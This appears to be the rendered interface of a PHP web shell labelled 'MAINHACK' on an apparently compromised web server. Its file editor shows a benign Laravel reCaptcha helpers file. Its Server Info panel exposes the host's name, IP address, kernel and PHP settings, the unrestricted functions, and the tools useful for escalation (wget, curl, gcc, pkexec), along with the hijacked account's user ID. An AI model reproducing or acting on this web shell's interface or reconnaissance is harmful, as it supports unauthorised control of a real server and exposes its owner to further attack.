[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: helpers.php
<?php /** * Copyright (c) 2017 - present * LaravelGoogleRecaptcha - helpers.php * author: Roberto Belotti - roby.belotti@gmail.com * web : robertobelotti.com, github.com/biscolab * Initial version created on: 12/9/2018 * MIT license: https://github.com/biscolab/laravel-recaptcha/blob/master/LICENSE */ use Biscolab\ReCaptcha\Facades\ReCaptcha; if (!function_exists('recaptcha')) { /** * @return Biscolab\ReCaptcha\ReCaptchaBuilder|\Biscolab\ReCaptcha\ReCaptchaBuilderV2|\Biscolab\ReCaptcha\ReCaptchaBuilderInvisible|\Biscolab\ReCaptcha\ReCaptchaBuilderV3 */ function recaptcha(): \Biscolab\ReCaptcha\ReCaptchaBuilder { return app('recaptcha'); } } /** * call ReCaptcha::htmlScriptTagJsApi() * Write script HTML tag in you HTML code * Insert before </head> tag * * @param $config ['form_id'] required if you are using invisible ReCaptcha */ if (!function_exists('htmlScriptTagJsApi')) { /** * @param array|null $config * * @return string */ function htmlScriptTagJsApi(?array $config = []): string { return ReCaptcha::htmlScriptTagJsApi($config); } } /** * call ReCaptcha::htmlFormButton() * Write HTML <button> tag in your HTML code * Insert before </form> tag * * Warning! Using only with ReCAPTCHA INVISIBLE * * @param $buttonInnerHTML What you want to write on the submit button */ if (!function_exists('htmlFormButton')) { /** * @param null|string $button_label * @param array|null $properties * * @return string */ function htmlFormButton(?string $button_label = 'Submit', ?array $properties = []): string { return ReCaptcha::htmlFormButton($button_label, $properties); } } /** * call ReCaptcha::htmlFormSnippet() * Write ReCAPTCHA HTML tag in your FORM * Insert before </form> tag * * Warning! Using only with ReCAPTCHA v2 */ if (!function_exists('htmlFormSnippet')) { /** * @param null|array $attributes * @return string */ function htmlFormSnippet(?array $attributes = []): string { return ReCaptcha::htmlFormSnippet($attributes); } } /** * call ReCaptcha::getFormId() * return the form ID * Warning! Using only with ReCAPTCHA invisible */ if (!function_exists('getFormId')) { /** * @return string */ function getFormId(): string { return ReCaptcha::getFormId(); } } /** * return ReCaptchaBuilder::DEFAULT_RECAPTCHA_RULE_NAME value ("recaptcha") * Use V2 (checkbox and invisible) */ if (!function_exists('recaptchaRuleName')) { /** * @return string */ function recaptchaRuleName(): string { return \Biscolab\ReCaptcha\ReCaptchaBuilder::DEFAULT_RECAPTCHA_RULE_NAME; } } /** * return ReCaptchaBuilder::DEFAULT_RECAPTCHA_FIELD_NAME value "g-recaptcha-response" * Use V2 (checkbox and invisible) */ if (!function_exists('recaptchaFieldName')) { /** * @return string */ function recaptchaFieldName(): string { return \Biscolab\ReCaptcha\ReCaptchaBuilder::DEFAULT_RECAPTCHA_FIELD_NAME; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002